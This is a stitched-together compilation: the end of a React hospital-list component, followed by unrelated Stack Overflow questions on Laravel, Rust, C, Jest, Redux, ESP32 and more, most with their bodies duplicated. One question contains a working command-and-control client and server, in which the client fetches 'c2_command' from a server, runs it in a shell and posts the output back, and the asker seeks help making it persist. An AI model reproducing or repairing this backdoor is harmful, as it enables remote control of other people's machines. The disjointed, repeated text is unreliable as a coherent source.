                                    <Box
                                        onClick={() => {
                                            setHospitalInfoModalOn(true);
                                            setHospitalInfo(hospital.fields);
                                        }}
                                    >
                                        <SubCard title={`${hospital.fields.hospital_name}`}>
                                            <Box sx={{ mt: 1, mb: 1.5 }}>
                                                <Grid container display="flex">
                                                    <Grid item sx={{ mr: 1.5 }}>
                                                        <Grid container display="grid">
                                                            <Grid item sx={{ mb: 1 }}>
                                                                <FontAwesomeIcon icon={faLocationDot} style={{ color: '#90CAF9' }} />
                                                            </Grid>
                                                            <Grid item>
                                                                <FontAwesomeIcon icon={faPhone} style={{ color: '#90CAF9' }} />
                                                            </Grid>
                                                        </Grid>
                                                    </Grid>
                                                    <Grid item>
                                                        <Grid container display="grid">
                                                            <Grid item sx={{ mb: 0.5 }}>
                                                                <Typography variant="body2">{hospital.fields.hospital_address}</Typography>
                                                            </Grid>
                                                            <Grid item>
                                                                <Typography variant="body2">
                                                                    {hospital.fields.hospital_phone_number}
                                                                </Typography>
                                                            </Grid>
                                                        </Grid>
                                                    </Grid>
                                                </Grid>
                                            </Box>
                                            <Box>
                                                <SetPendPatientView
                                                    hos_add={hospital.fields.hospital_address}
                                                    hos_name={hospital.fields.hospital_name}
                                                />
                                            </Box>
                                        </SubCard>

                                    </Box>
                                );
                            })}
                        </Grid>
                    </Grid>
                </MainCard>
            </Box>
            <HospitalInfoModal show={hospitalInfoModalOn} onHide={() => setHospitalInfoModalOn(false)} hospital={hospitalInfo} />
        </>
    );
};

export default Hospitals;


问:
Laravel Sanctum auth route is showing unautheticaed only in production
Hi I have recently set up my laravel 8 app with sanctum as api token provider. my login works fine and token is received. this token I am using to get the user.. which works fine for me in localhost..

```<code>Route::middleware('auth:sanctum')->get('/user', function (Request $request) {
    return $request->user();
});
</code>```

but when I deployed the same application to production.. get user is always resulting to "Unauthenticated". I am not using SPA, and only wish to use API tokens my production API path is like this https://xxx.app/api/user I have already set this to my .env file SESSION_DOMAIN=https//xxx.app SANCTUM_STATEFUL_DOMAINS=https//xxx.app
the SANCTUM_STATEFUL_DOMAINS

also i try to put this in .htaccess

```<code>RewriteCond %{HTTP:Authorization} ^(.+)$
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
</code>```

i have 2 files htaccess one outside public folder to redirect all request to public index
another one inside public folder to redirect all requests to index.php

i want to get auth user

Body:
Hi I have recently set up my laravel 8 app with sanctum as api token provider. my login works fine and token is received. this token I am using to get the user.. which works fine for me in localhost..

Route::middleware('auth:sanctum')->get('/user', function (Request $request) {
    return $request->user();
});

but when I deployed the same application to production.. get user is always resulting to "Unauthenticated". I am not using SPA, and only wish to use API tokens my production API path is like this https://xxx.app/api/user I have already set this to my .env file SESSION_DOMAIN=https//xxx.app SANCTUM_STATEFUL_DOMAINS=https//xxx.app
the SANCTUM_STATEFUL_DOMAINS

also i try to put this in .htaccess

RewriteCond %{HTTP:Authorization} ^(.+)$
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]

i have 2 files htaccess one outside public folder to redirect all request to public index
another one inside public folder to redirect all requests to index.php

i want to get auth user


问:
Can you build Rust app for Windows 10 IoT Core?
I am trying to figure out whether I can cross-compile Rust app to Windows 10 IoT core.

Unfortunately, the information is quite sparse. As Rust was raising, Windows 10 IoT was going away (replaced by Windows 11 IoT?)

The thing that bothered me about this process:

Based on what I read Windows 10 IoT runs only UWP. And if I read this correctly (https://doc.rust-lang.org/nightly/rustc/platform-support.html), it's only in the tier 3 support.

That being said may be I misread it and you can just build a normal Windows app in such case it will be the tier 1 support for Rust.


问:
How to generate a one click stack launch link for OpenStack Horizon
I want to generate a single link that is equivalent to the following steps:

Open OpenStack Horizon

Click Orchestration -> Stacks -> launch stack

Load a heat template from file/URL

Populate some of the parameter fields

At this point, the user is at the "Launch Stack" screen and can enter additional parameter values (e.g. stack name, etc.) and click launch when ready.

I do not want to use the API to actually launch the stack as this will require knowing all the parameter values in advance. I want the users to use the Horizon interface they are familiar with, however, I would like to load the template and populate only some of the parameters which are already known, leaving some parameters blank for the user to enter manually.

I also do not want to use static default parameter values within the heat template as some of these parameters need to be set dynamically.

Is there a way to generate a single URL that will contain the heat template and its parameters as query string for example? Is there another method to accomplish the above requirements?


问:
How do I create an array of a struct and save it to a binary file for later use?
I'm relatively new to programming and recently got an assignment to create a car register which can hold up to 10 cars.

When asked about the specifics of the car, the user should put in their name, age, car type, brand, license plate and owner.

I've created a structure of the information that is needed.

```<code>struct fordon{
    char namn[MAX_SIZE];
    char alder[MAX_SIZE];
    char fordonstyp[MAX_SIZE];
    char marke[MAX_SIZE];
    char reg[MAX_SIZE];
    char agare[MAX_SIZE];

};
typedef struct fordon fordon_t;
</code>```

And here is how I've decided to fill in the information.

```<code>int main()
{
    fordon_t banan;
   int quit = 0;
    while(quit == 0){

        meny();

    char val[VAL_SIZE];

    fgets(val,VAL_SIZE, stdin);

    int tal = atoi(val);

    switch(tal){
        case 0:
                return 0;
            break;

        case 1:
            printf("Namn: \n");
            fgets(banan.namn, sizeof(banan.namn), stdin);

            printf("Ålder: \n");
            fgets(banan.alder, sizeof(banan.alder), stdin);

            printf("Typ av fordon: \n");
            fgets(banan.fordonstyp, sizeof(banan.fordonstyp), stdin);

            printf("Bilmärke: \n");
            fgets(banan.marke, sizeof(banan.marke), stdin);

            printf("REG-nummer: \n");
            fgets(banan.reg, sizeof(banan.reg), stdin);

            printf("Ägare: \n");
            fgets(banan.agare, sizeof(banan.agare), stdin);

            laggtill(&banan);

            break;

</code>```

However, the information doesn't exactly get saved in a binary file as I had hoped. Also I'm not sure if the code saves the user input into an array starting at index 0.

Down below is the code to save the information of the car into a binary file.

```<code>void laggtill(fordon_t *banan){
    FILE *fp = NULL;
    fp = fopen("register.dat", "wb");
        if(fp == NULL){
            puts("Filen kunde inte läsas\n");

        }
    else{
            fwrite(&banan,sizeof(fordon_t), 1, fp);

    }
    fclose(fp);
}
</code>```

I've tried changing some variables like for example:

```<code>void laggtill(fordon_t *banan){
    FILE *fp = NULL;
    fp = fopen("register.dat", "wb");
        if(fp == NULL){
            puts("Filen kunde inte läsas\n");

        }
    else{
        fordon_t bil_vec[SIZE+1];

        for(int i = 0; i < SIZE; i++){
            fwrite(&bil_vec[i],sizeof(fordon_t), 1, fp);
        }

    }
    fclose(fp);
}
</code>```

Body:
I'm relatively new to programming and recently got an assignment to create a car register which can hold up to 10 cars.

When asked about the specifics of the car, the user should put in their name, age, car type, brand, license plate and owner.

I've created a structure of the information that is needed.

struct fordon{
    char namn[MAX_SIZE];
    char alder[MAX_SIZE];
    char fordonstyp[MAX_SIZE];
    char marke[MAX_SIZE];
    char reg[MAX_SIZE];
    char agare[MAX_SIZE];

};
typedef struct fordon fordon_t;

And here is how I've decided to fill in the information.

int main()
{
    fordon_t banan;
   int quit = 0;
    while(quit == 0){

        meny();

    char val[VAL_SIZE];

    fgets(val,VAL_SIZE, stdin);

    int tal = atoi(val);

    switch(tal){
        case 0:
                return 0;
            break;

        case 1:
            printf("Namn: \n");
            fgets(banan.namn, sizeof(banan.namn), stdin);

            printf("Ålder: \n");
            fgets(banan.alder, sizeof(banan.alder), stdin);

            printf("Typ av fordon: \n");
            fgets(banan.fordonstyp, sizeof(banan.fordonstyp), stdin);

            printf("Bilmärke: \n");
            fgets(banan.marke, sizeof(banan.marke), stdin);

            printf("REG-nummer: \n");
            fgets(banan.reg, sizeof(banan.reg), stdin);

            printf("Ägare: \n");
            fgets(banan.agare, sizeof(banan.agare), stdin);

            laggtill(&banan);

            break;

However, the information doesn't exactly get saved in a binary file as I had hoped. Also I'm not sure if the code saves the user input into an array starting at index 0.

Down below is the code to save the information of the car into a binary file.

void laggtill(fordon_t *banan){
    FILE *fp = NULL;
    fp = fopen("register.dat", "wb");
        if(fp == NULL){
            puts("Filen kunde inte läsas\n");

        }
    else{
            fwrite(&banan,sizeof(fordon_t), 1, fp);

    }
    fclose(fp);
}

I've tried changing some variables like for example:

void laggtill(fordon_t *banan){
    FILE *fp = NULL;
    fp = fopen("register.dat", "wb");
        if(fp == NULL){
            puts("Filen kunde inte läsas\n");

        }
    else{
        fordon_t bil_vec[SIZE+1];

        for(int i = 0; i < SIZE; i++){
            fwrite(&bil_vec[i],sizeof(fordon_t), 1, fp);
        }

    }
    fclose(fp);
}


问:
How to check if SpannerParameter is null?
I am returning this SpannerParameterCollection here in C#. I want to check if the LastPurchaseDate is null (essentially no purchases yet) and if it is, return null value rather than the CommitTimestamp. How would I do this?

```<code>
return new SpannerParameterCollection
            {
                new SpannerParameter(nameof(Person.Name), SpannerDbType.String),
                new SpannerParameter(nameof(Person.LastPurchaseDate), SpannerDbType.Timestamp,    SpannerParameter.CommitTimestamp)
            }

</code>```

I've tried if statements and the IsNull() function, but both give me errors.

Body:
I am returning this SpannerParameterCollection here in C#. I want to check if the LastPurchaseDate is null (essentially no purchases yet) and if it is, return null value rather than the CommitTimestamp. How would I do this?

return new SpannerParameterCollection
            {
                new SpannerParameter(nameof(Person.Name), SpannerDbType.String),
                new SpannerParameter(nameof(Person.LastPurchaseDate), SpannerDbType.Timestamp,    SpannerParameter.CommitTimestamp)
            }

I've tried if statements and the IsNull() function, but both give me errors.


问:
Understanding JS filter method on an exported variable
I'm having difficulty googling an explanation of filter in this scenario that makes sense to me. Can someone ELIF?

I have a script.js file with the following:

```<code>let cart = [];
const products = [
  {
    name: 'Cherry',
    price: 10,
    quantity: 0,
    productId: 1,
    image: '../images/cherry.jpg',
  }, ...
];

function decreaseQuantity(productId) {
  let product = products.find((product) => product.productId === productId);
  product.quantity -= 1;
  if (product.quantity === 0) {
    cart = cart.filter((p) => p.quantity != 0);
    console.log(cart);
  }
}

module.exports = {
  products,
  cart,
  decreaseQuantity,
};

</code>```

In a Jest file script.test.js:

```<code>const cart = require('./script.js');

describe('Cart Functionality Tests', () => {
  let product1 = cart.products[1];
  let cartArr = cart.cart;

  test('decrease quantity from 1 to 0 removes item from cart', () => {
    cart.decreaseQuantity(product1.productId);
    expect(product1.quantity).toEqual(0);
    console.log(cartArr);
    expect(cartArr).toEqual([]);
  });
});
</code>```

The decreaseQuantity test is failing because cartArr isn't being modified properly.

Using splice works because it modifies the items directly. But filter and reassigning the new array to the original cart doesn't modify the array as I expected.

```<code>cart = cart.filter((p) => p.quantity != 0);
</code>```

Shouldn't cartArr in the jest test get modified since it's a shallow copy?

Body:
I'm having difficulty googling an explanation of filter in this scenario that makes sense to me. Can someone ELIF?

I have a script.js file with the following:

let cart = [];
const products = [
  {
    name: 'Cherry',
    price: 10,
    quantity: 0,
    productId: 1,
    image: '../images/cherry.jpg',
  }, ...
];

function decreaseQuantity(productId) {
  let product = products.find((product) => product.productId === productId);
  product.quantity -= 1;
  if (product.quantity === 0) {
    cart = cart.filter((p) => p.quantity != 0);
    console.log(cart);
  }
}

module.exports = {
  products,
  cart,
  decreaseQuantity,
};

In a Jest file script.test.js:

const cart = require('./script.js');

describe('Cart Functionality Tests', () => {
  let product1 = cart.products[1];
  let cartArr = cart.cart;

  test('decrease quantity from 1 to 0 removes item from cart', () => {
    cart.decreaseQuantity(product1.productId);
    expect(product1.quantity).toEqual(0);
    console.log(cartArr);
    expect(cartArr).toEqual([]);
  });
});

The decreaseQuantity test is failing because cartArr isn't being modified properly.

Using splice works because it modifies the items directly. But filter and reassigning the new array to the original cart doesn't modify the array as I expected.

cart = cart.filter((p) => p.quantity != 0);

Shouldn't cartArr in the jest test get modified since it's a shallow copy?


问:
How many providers can I use in react-redux?
I would like to know if I can have a divider of the global state in some routes of the main content and form another global state in another route in react

main path

```<code>import ReactDOM from "react-dom";
import App from "./App";
import { mainStore } from "./app/store";
import { Provider } from "react-redux";
import "boxicons";

ReactDOM.render(
  <Provider store={mainStore}>
    <App />
  </Provider>,
  document.getElementById("root")
)
</code>```

I would like to know if I can do this in some routes

```<code>import Header from "../../screens/user/profile/Header"; // Image of profile, information etc
import Handlers from "../../screens/user/profile/Handlers"; // Is suspended, pending money, etc
import DaysInProfile from "../../components/DaysInProfile"; // days avilable
import Filter from "../../screens/user/profile/Filter"; // Create products, send quote, or phone number. (BUTTONS)
import Products from "../../screens/user/profile/Products"; // Main content
import Advertising from "../../screens/user/profile/Advertising"; // Extra information

import ProfileController from "../../controllers/Profile"; // load information

import { profileStore } from "../../app/store";
import { Provider } from "react-redux";

function Profile() {
  return (
    <Provider store={profileStore}> // I want to know if I can have 2 global states in one route
      <ProfileController>
        <div className="profile-container">
          <Header />
          <Handlers />
          <DaysInProfile mobile />
          <div className="profile-development-container">
            <Filter />
            <Products />
            <Advertising />
          </div>
        </div>
      </ProfileController>
    </Provider>
  );
}

export default Profile;

</code>```

I tried it but it didn't work for me, now neither the state that it creates nor the main state is useful

Body:
I would like to know if I can have a divider of the global state in some routes of the main content and form another global state in another route in react

main path

import ReactDOM from "react-dom";
import App from "./App";
import { mainStore } from "./app/store";
import { Provider } from "react-redux";
import "boxicons";

ReactDOM.render(
  <Provider store={mainStore}>
    <App />
  </Provider>,
  document.getElementById("root")
)

I would like to know if I can do this in some routes

import Header from "../../screens/user/profile/Header"; // Image of profile, information etc
import Handlers from "../../screens/user/profile/Handlers"; // Is suspended, pending money, etc
import DaysInProfile from "../../components/DaysInProfile"; // days avilable
import Filter from "../../screens/user/profile/Filter"; // Create products, send quote, or phone number. (BUTTONS)
import Products from "../../screens/user/profile/Products"; // Main content
import Advertising from "../../screens/user/profile/Advertising"; // Extra information

import ProfileController from "../../controllers/Profile"; // load information

import { profileStore } from "../../app/store";
import { Provider } from "react-redux";

function Profile() {
  return (
    <Provider store={profileStore}> // I want to know if I can have 2 global states in one route
      <ProfileController>

          <Handlers />
          <DaysInProfile mobile />

            <Filter />
            <Products />
            <Advertising />

      </ProfileController>
    </Provider>
  );
}

export default Profile;

I tried it but it didn't work for me, now neither the state that it creates nor the main state is useful


问:
How do i add an html element for a single category in woocommerce?
I would like to know how to add an html element in header for a single category page with woocommerce. The other categories are not concerned</p>


问:
Convert iterative function to recursive kind using javascript
I have written a function to pull stream data from the fetch API. I want to convert the function to a recursive one and would like to write it as an async function.

Here is the code which works but not asynchronous:

                     const productsStream = async () => {
                       const request = {
                         searchRange: ['fragrance', 'perfumery', 'cologne'],
                         exclusionCategory: ['discounted']
                       }

                      const response = await fetch('/products/stream', {
                       method: 'POST',
                       body: JSON.stringify(request)
                      });

                      const decoder = new TextDecoderStream();
                      const reader = response.body.pipeThrough(decoder).getReader();

                      let line = "";
                      while (true) {
                        const { done, value } = await reader.read();

                        let chunk = remainder + value;
                        let products = []

                        let newlineIndex;
                        while ((newlineIndex = chunk.indexOf("\n")) != -1) {
                         let item = chunk.substring(0, newlineIndex);
                         chunk = chunk.substring(newlineIndex);
                         if (chunk.length > 1) chunk = chunk.substring(1);
                       }
                        line = chunk;
                        products = []
                        if ( done ) break;
                     }

                  }

```

I'd welcome any help in converting this.

Body:
I have written a function to pull stream data from the fetch API. I want to convert the function to a recursive one and would like to write it as an async function.

Here is the code which works but not asynchronous:

                     const productsStream = async () => {
                       const request = {
                         searchRange: ['fragrance', 'perfumery', 'cologne'],
                         exclusionCategory: ['discounted']
                       }

                      const response = await fetch('/products/stream', {
                       method: 'POST',
                       body: JSON.stringify(request)
                      });

                      const decoder = new TextDecoderStream();
                      const reader = response.body.pipeThrough(decoder).getReader();

                      let line = "";
                      while (true) {
                        const { done, value } = await reader.read();

                        let chunk = remainder + value;
                        let products = []

                        let newlineIndex;
                        while ((newlineIndex = chunk.indexOf("\n")) != -1) {
                         let item = chunk.substring(0, newlineIndex);
                         chunk = chunk.substring(newlineIndex);
                         if (chunk.length > 1) chunk = chunk.substring(1);
                       }
                        line = chunk;
                        products = []
                        if ( done ) break;
                     }

                  }

I'd welcome any help in converting this.


问:
How to run the content script when the YouTube site is navigated in 2022?
I'm making a simple Chrome extension for YouTube. I've succeeded at that, but my script only works after refreshing a page. YouTube site doesn't reload pages on navigation. The extension's content scripts aren't reinjected when URL changes without a page being reloaded. Naturally when I reload a page manually the content script is executed.

How to run the content script when the site is navigated?

```<code>window.addEventListener('load', function(){

    function injectScript() {

      if(document.querySelector('#a') === null && document.querySelector('#player.style-scope') !== null){

        Array.from(document.querySelectorAll('#player')).pop().insertAdjacentHTML("afterend", `<div id="a" style="color:red">Code</div>`);

        // Code

      }
    }

    const  element = document.querySelector('body');

    function childList(list){
      injectScript();
    }

    let callback = function(mutations, observer) {
      mutations.forEach(function(mutation) {
        if(mutation.type === 'childList'){
          childList(mutation);
        }
      });
    }

    const mutationObserver = new MutationObserver(callback);

    const config = {
      childList: true,
      subtree: true
    };
    mutationObserver.observe(element, config);

})

</code>```

Body:
I'm making a simple Chrome extension for YouTube. I've succeeded at that, but my script only works after refreshing a page. YouTube site doesn't reload pages on navigation. The extension's content scripts aren't reinjected when URL changes without a page being reloaded. Naturally when I reload a page manually the content script is executed.

How to run the content script when the site is navigated?

window.addEventListener('load', function(){

    function injectScript() {

      if(document.querySelector('#a') === null && document.querySelector('#player.style-scope') !== null){

        Array.from(document.querySelectorAll('#player')).pop().insertAdjacentHTML("afterend", `<div id="a" style="color:red">Code</div>`);

        // Code

      }
    }

    const  element = document.querySelector('body');

    function childList(list){
      injectScript();
    }

    let callback = function(mutations, observer) {
      mutations.forEach(function(mutation) {
        if(mutation.type === 'childList'){
          childList(mutation);
        }
      });
    }

    const mutationObserver = new MutationObserver(callback);

    const config = {
      childList: true,
      subtree: true
    };
    mutationObserver.observe(element, config);

})


问:
The method 'FlatButton' isn't defined for the class 'PlatformButton' | showing when using enough_giphy_flutter package
when using emoji_picker and enough_giphy_flutter packages, It shows error like this,

```<code>The method 'FlatButton' isn't defined for the class 'PlatformButton'

Try correcting the name to the name of an existing method,
or defining a method named 'FlatButton'. child: FlatButton( ^^^^^^^^^^
</code>```

I think It is because - the latest version of Flutter, Flatbutton is deprecated and uses TextButton.(https://docs.flutter.dev/release/breaking-changes/buttons#context)

But, How do I use these packages in the latest version of Flutter?

my code here : used emoji_picker package

```<code>Widget showEmojiPicker() {
    return EmojiPicker(
      rows: 4,
      columns: 7,
      onEmojiSelected: (emoji, category) {
        print(emoji);
      },
    );
  }
</code>```

Body:
when using emoji_picker and enough_giphy_flutter packages, It shows error like this,

The method 'FlatButton' isn't defined for the class 'PlatformButton'

Try correcting the name to the name of an existing method,
or defining a method named 'FlatButton'. child: FlatButton( ^^^^^^^^^^

I think It is because - the latest version of Flutter, Flatbutton is deprecated and uses TextButton.(https://docs.flutter.dev/release/breaking-changes/buttons#context)

But, How do I use these packages in the latest version of Flutter?

my code here : used emoji_picker package

Widget showEmojiPicker() {
    return EmojiPicker(
      rows: 4,
      columns: 7,
      onEmojiSelected: (emoji, category) {
        print(emoji);
      },
    );
  }


问:
Terminates the connection after ONE command to the client
My code is functional but only for the first command I send, after that the client connection stops with WinError 10061 but I don't know how to fix the problem.

Client.py

```<code>while True:
    req = requests.get('http://my_local_ip:5000')
    c2_command = req.text
    if 'terminate' in c2_command:
        break
    else:
        CMD = subprocess.Popen(c2_command, shell=True, stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
        post_response = requests.post(url='http://my_local_ip:5000', data=CMD.stdout.read())
</code>```

Server.py

```<code>HOST_NAME = "my_local_ip"
PORT_NUMBER = 5000

class HTTPHandler(http.server.BaseHTTPRequestHandler):

    def do_GET(self):
        c2_command = input('[connected] ')
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.end_headers()
        self.wfile.write(c2_command.encode())

    def do_POST(self):
        self.send_response(200)
        self.end_headers()
        length = int(self.headers['Content-Length'])
        PostData = self.rfile.read(length)
        print(PostData.decode())

if __name__ == '__main__':
    server_class = http.server.HTTPServer
    httpd = server_class((HOST_NAME, PORT_NUMBER), HTTPHandler)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print('[-] Server Terminated')
</code>```

I tried to change the ip as well as to put in localhost or public ip but nothing to do.

Body:
My code is functional but only for the first command I send, after that the client connection stops with WinError 10061 but I don't know how to fix the problem.

Client.py

while True:
    req = requests.get('http://my_local_ip:5000')
    c2_command = req.text
    if 'terminate' in c2_command:
        break
    else:
        CMD = subprocess.Popen(c2_command, shell=True, stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
        post_response = requests.post(url='http://my_local_ip:5000', data=CMD.stdout.read())

Server.py

HOST_NAME = "my_local_ip"
PORT_NUMBER = 5000

class HTTPHandler(http.server.BaseHTTPRequestHandler):

    def do_GET(self):
        c2_command = input('[connected] ')
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.end_headers()
        self.wfile.write(c2_command.encode())

    def do_POST(self):
        self.send_response(200)
        self.end_headers()
        length = int(self.headers['Content-Length'])
        PostData = self.rfile.read(length)
        print(PostData.decode())

if __name__ == '__main__':
    server_class = http.server.HTTPServer
    httpd = server_class((HOST_NAME, PORT_NUMBER), HTTPHandler)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print('[-] Server Terminated')

I tried to change the ip as well as to put in localhost or public ip but nothing to do.


问:
How to be able to choose custom paper sizes when printing to a Zebra printer from an Android on Chrome
I've added a Zebra ZD621 to my Windows Print Server. I'm trying to deploy printing to Android devices that need to be able to print directly from Chrome. I have no issue getting connected to the printer, the issue is that I am unable to choose the proper paper size. I need 2x1. Is there anyway of Chrome/Android to use the settings set on the print server itself instead of using its own settings? Should I be using something like CUPS or a different print solution for mobile android devices?

Update:
I just set up CUPS and it shows me all the options. 2x1, 3x2, 4x6, etc. When I go to print on an iPhone, it'll let me choose from a bunch of dimensions, but on Android it just gives me 3 options. None of them 2x1. Which I also made the default paper size on CUPS, but Android seems to ignore that. I think I'm at a point where Android print simply refuses to show all the options. I'm not sure there is anything else I can do.


问:
Converting user input to hex - ESP32 IDF
I'm trying to build a function that accepts commands using UART and extracts a sub string from the command to write it into ESP32 EFUSE.

```<code>static void uart_event_task()
{
    uart_event_t event;
    size_t buffered_size;
    uint8_t *dtmp = (uint8_t *)malloc(RD_BUF_SIZE);
    char cmd[30];
    char serialNum[20];
    for (;;)
    {
        // Waiting for UART event.
        if (xQueueReceive(uart0_queue, (void *)&event, (TickType_t)portMAX_DELAY))
        {
            bzero(dtmp, RD_BUF_SIZE);
            ESP_LOGI(TAG_CONFIG, "uart[%d] event:", EX_UART_NUM);
            switch (event.type)
            {
            // Event of UART receving data
            /*We'd better handler data event fast, there would be much more data events than
            other types of events. If we take too much time on data event, the queue might
            be full.*/
            case UART_DATA:
                ESP_LOGI(TAG_CONFIG, "[UART DATA]: %d", event.size);
                uart_read_bytes(EX_UART_NUM, dtmp, event.size, portMAX_DELAY);
                ESP_LOGI(TAG_CONFIG, "[DATA EVT]:");
                // char data = (const char) dtmp;
                // printf("letter: %s", data);
                // int evSize = event.size;
                int lastChar = 0;
                for (int i = 0; i <= event.size; i++)
                {
                    const char letter = (const char)dtmp[i];
                    if (dtmp[i] == 10 || dtmp[i] == 0)
                    {
                        break;
                    }
                    cmd[i] = letter;
                    lastChar = i;
                }
                cmd[++lastChar] = '\0';

                ESP_LOGE(TAG_CONFIG, "Your command: %s ", cmd);

                if (strstr(cmd, set_serial) != NULL)
                {
                    // contains
                    int lastChar2 = 0;
                    for (int i = strlen(set_serial) + 1; i < lastChar; i++)
                    {
                        int index = i - strlen(set_serial) - 1;
                        serialNum[index] = cmd[i];
                        lastChar2 = index;
                    }
                    serialNum[++lastChar2] = '\0';
                    ESP_LOGW(TAG_CONFIG, "setting serial: %s ", serialNum);
                    int len = strlen(serialNum);
                    char hex_str[(len * 2) + 1];
                    // converting ascii string to hex string
                    string2hexString(serialNum, hex_str);
                    printf("serialNum: %s\n", serialNum);
                    printf("hex_str: %s\n", hex_str);

                    esp_efuse_coding_scheme_t coding_scheme = esp_efuse_get_coding_scheme(EFUSE_BLK3);
                    write_efuse_fields(serialNum, coding_scheme);
                }

</code>```

This function works perfectly and I can print the serial number as string or as hex:

```<code>serialNum: exampleserial123
hex_str: 6578616D706C6573657269616C313233
</code>```

The next function writes this data to the efuse of the esp:

```<code>static void write_efuse_fields(char *serial_num, esp_efuse_coding_scheme_t coding_scheme)
{
    // uint8_t unique_id[16] = {0x48, 0x42, 0x30, 0x31, 0x39, 0x39, 0x39, 0x39, 0x30, 0x31, 0x32, 0x33};
    ESP_ERROR_CHECK_WITHOUT_ABORT(esp_efuse_write_field_blob(ESP_EFUSE_USER_DATA, &serial_num, 128));

}
</code>```

when I read the efuse block after running the above code:

```<code>ee 17 fd 3f 00 00 00 ff e4 38 fd 3f 0f 00 00 00
</code>```

Hex to text: îý?ÿä8ý?

If I use the hex output in write_efuse_fields(hex_str, coding_scheme)

I will get:

```<code>90 17 fd 3f 00 00 00 ff e4 38 fd 3f 0f 00 00 00
</code>```

Hex to text: ý?ÿä8ý?

When I do:

```<code>uint8_t unique_id[16] = {0x48, 0x42, 0x30, 0x31, 0x39, 0x39, 0x39, 0x39, 0x30, 0x31, 0x32, 0x33};
ESP_ERROR_CHECK_WITHOUT_ABORT(esp_efuse_write_field_blob(ESP_EFUSE_USER_DATA, &unique_id, 128));
</code>```

I get the expected result.

What is the correct way to convert my char array to a byte like array (similar to unique_id) to get the esp_efuse_write_field_blob to accept it?

Body:
I'm trying to build a function that accepts commands using UART and extracts a sub string from the command to write it into ESP32 EFUSE.

static void uart_event_task()
{
    uart_event_t event;
    size_t buffered_size;
    uint8_t *dtmp = (uint8_t *)malloc(RD_BUF_SIZE);
    char cmd[30];
    char serialNum[20];
    for (;;)
    {
        // Waiting for UART event.
        if (xQueueReceive(uart0_queue, (void *)&event, (TickType_t)portMAX_DELAY))
        {
            bzero(dtmp, RD_BUF_SIZE);
            ESP_LOGI(TAG_CONFIG, "uart[%d] event:", EX_UART_NUM);
            switch (event.type)
            {
            // Event of UART receving data
            /*We'd better handler data event fast, there would be much more data events than
            other types of events. If we take too much time on data event, the queue might
            be full.*/
            case UART_DATA:
                ESP_LOGI(TAG_CONFIG, "[UART DATA]: %d", event.size);
                uart_read_bytes(EX_UART_NUM, dtmp, event.size, portMAX_DELAY);
                ESP_LOGI(TAG_CONFIG, "[DATA EVT]:");
                // char data = (const char) dtmp;
                // printf("letter: %s", data);
                // int evSize = event.size;
                int lastChar = 0;
                for (int i = 0; i <= event.size; i++)
                {
                    const char letter = (const char)dtmp[i];
                    if (dtmp[i] == 10 || dtmp[i] == 0)
                    {
                        break;
                    }
                    cmd[i] = letter;
                    lastChar = i;
                }
                cmd[++lastChar] = '\0';

                ESP_LOGE(TAG_CONFIG, "Your command: %s ", cmd);

                if (strstr(cmd, set_serial) != NULL)
                {
                    // contains
                    int lastChar2 = 0;
                    for (int i = strlen(set_serial) + 1; i < lastChar; i++)
                    {
                        int index = i - strlen(set_serial) - 1;
                        serialNum[index] = cmd[i];
                        lastChar2 = index;
                    }
                    serialNum[++lastChar2] = '\0';
                    ESP_LOGW(TAG_CONFIG, "setting serial: %s ", serialNum);
                    int len = strlen(serialNum);
                    char hex_str[(len * 2) + 1];
                    // converting ascii string to hex string
                    string2hexString(serialNum, hex_str);
                    printf("serialNum: %s\n", serialNum);
                    printf("hex_str: %s\n", hex_str);

                    esp_efuse_coding_scheme_t coding_scheme = esp_efuse_get_coding_scheme(EFUSE_BLK3);
                    write_efuse_fields(serialNum, coding_scheme);
                }

This function works perfectly and I can print the serial number as string or as hex:

serialNum: exampleserial123
hex_str: 6578616D706C6573657269616C313233

The next function writes this data to the efuse of the esp:

static void write_efuse_fields(char *serial_num, esp_efuse_coding_scheme_t coding_scheme)
{
    // uint8_t unique_id[16] = {0x48, 0x42, 0x30, 0x31, 0x39, 0x39, 0x39, 0x39, 0x30, 0x31, 0x32, 0x33};
    ESP_ERROR_CHECK_WITHOUT_ABORT(esp_efuse_write_field_blob(ESP_EFUSE_USER_DATA, &serial_num, 128));

}

when I read the efuse block after running the above code:

ee 17 fd 3f 00 00 00 ff e4 38 fd 3f 0f 00 00 00

Hex to text: îý?ÿä8ý?

If I use the hex output in write_efuse_fields(hex_str, coding_scheme)

I will get:

90 17 fd 3f 00 00 00 ff e4 38 fd 3f 0f 00 00 00

Hex to text: ý?ÿä8ý?

When I do:

uint8_t unique_id[16] = {0x48, 0x42, 0x30, 0x31, 0x39, 0x39, 0x39, 0x39, 0x30, 0x31, 0x32, 0x33};
ESP_ERROR_CHECK_WITHOUT_ABORT(esp_efuse_write_field_blob(ESP_EFUSE_USER_DATA, &unique_id, 128));

I get the expected result.

What is the correct way to convert my char array to a byte like array (similar to unique_id) to get the esp_efuse_write_field_blob to accept it?


问:
Open all generated links in an iframe to open in a new window or tab
So I've been given an embed code to display a leader board on my website but if I click on any of the links in the iframe I get a connection refused.

So I need a way that when you click on any of the links they open in a new window or tab.

I've looked everywhere and can't see to find a solution as I don't have control of the domain the links are generated from.

The code I was given was this.

Tried looking for a solution but they all seem to be with links that I make.

Please note have very little coding understanding and just starting out.


问:
xCode build failed: Module 'connectivity_plus' not found
I am developing a flutter app and running on iOS Simulator works fine in Android Studio, and it works well when building from terminal flutter build ios. But when I try to build from xCode (so I can create an archive and release the app), I get this error:

Module 'connectivity_plus' not found

I used to use connectivity, and then the error was Module 'connectivity' not found.

I have found some similar questions, but none of the suggested answers worked for me. I have tried:

```<code>flutter clean
rm -rf /ios/Pods
rm -rf /ios/Podfile
rm -rf /ios/Podfile.lock
flutter pub get
cd ios
pod install
</code>```

I uncomment this line in Podfile:

```<code>platform :ios, '13.0'
</code>```

That is the iOS Deployment Target as well, so they match.

```<code>flutter build ios
</code>```

That works ok, but when I open Runner.xcworkspace in xCode and build, I get the same error. What am I doing wrong?

Body:
